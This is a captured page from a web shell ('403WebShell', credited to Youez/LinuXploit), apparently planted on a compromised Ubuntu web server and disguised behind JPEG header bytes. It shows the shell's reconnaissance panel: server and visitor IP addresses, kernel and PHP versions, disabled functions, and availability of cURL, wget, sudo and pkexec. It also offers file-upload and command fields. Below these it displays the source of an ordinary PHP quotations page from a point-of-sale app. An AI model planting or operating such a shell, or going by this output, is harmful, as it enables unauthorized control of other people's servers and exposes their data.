����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 3.15.148.76
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/muebles/pos11/core/app/view/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/muebles/pos11/core/app/view/cotizations-view.php
<section class="content"> 
<div class="row">
	<div class="col-md-12">
	<a href="./?view=newcotization" class="btn btn-default pull-right"><i class="fa fa-asterisk"></i> Realizar Apartado</a>
		<h1><i class='fa fa-square-o'></i> Cotizaciones</h1>
		<div class="clearfix"></div>


<?php
$products=null;
if(isset($_SESSION["client_id"])){
	$products = SellData::getCotizationsByClientId($_SESSION["client_id"]);
}else if(isset($_SESSION["user_id"])){
		$products = SellData::getCotizations();
		
}

if(count($products)>0){

	?>
<br>
<div class="box box-primary">
<div class="box-header">
<h3 class="box-title">Cotizaciones</h3></div>
<div class="box-body">
<table class="table table-bordered table-hover table-responsive datatable	">
	<thead>
		
		<th>Folio</th>
		<th>vence</th>
		<th>Cantidad</th>
		<th>cliente</th>
		<th>Entrega</th>
		<th>Total</th>
		<th>Fecha</th>
		<th></th>
		<th></th>
	</thead>
	<?php foreach($products as $sell):?>

	<tr>
		<td>#<?php echo $sell->id; 
		$sale = SellData::getByIdSale($sell->sale_id);
		?></td>
		<td><?php echo $sale->sale_date; ?></td>
		<td>


	<?php
$operations = OperationData::getAllProductsBySellId($sell->sale_id);
echo count($operations);
	?>
</td>
	<td>
	<?php 
	$person = $sell->getPerson();
	echo $person->name; 
	?></td>
<td><?php echo $sell->getP()->name; ?></td>
		<td>

<?php
//$total= $sell->total-$sell->discount;
	$total=0;
	foreach($operations as $operation){
		$product  = $operation->getProduct();
		$total += $operation->qty*$operation->price;
	}
		echo "<b>$ ".number_format($total,2,".",",")."</b>";

?>			

		</td>
		<td><?php echo $sell->created_at; ?></td>
		<td style="width:120px;">
		
		<?php if(isset($_SESSION["user_id"])):?>
	    <a href="index.php?view=processcotization&id=<?php echo $sell->id; ?>" class="btn btn-xs btn-primary" title="ANTES VERIFIQUE EXISTENCIAS!!!"><i class="fa fa-check" ></i> Procesar C</a>
		
		<?php endif;?>
		
		<a href="index.php?view=delsell&id=<?php echo $sell->id; ?>" class="btn btn-xs btn-danger"><i class="fa fa-trash"></i></a>
		</td>
		<td style="width:30px;">
		<a href="index.php?view=onecotization&id=<?php echo $sell->sale_id; ?>" class="btn btn-xs btn-info"><i class="glyphicon glyphicon-eye-open"></i>Ver</a></td>
		
	</tr>

<?php endforeach; ?>

</table>
</div>
</div>

<div class="clearfix"></div>

	<?php
}else{
	?>
	<div class="jumbotron">
		<h2>No hay cotizaciones</h2>
		<p>No se ha realizado ninguna cotizacion.</p>
	</div>
	<?php
}

?>
<br><br><br><br><br><br><br><br><br><br>
	</div>
</div>
</section>

Youez - 2016 - github.com/yon3zu
LinuXploit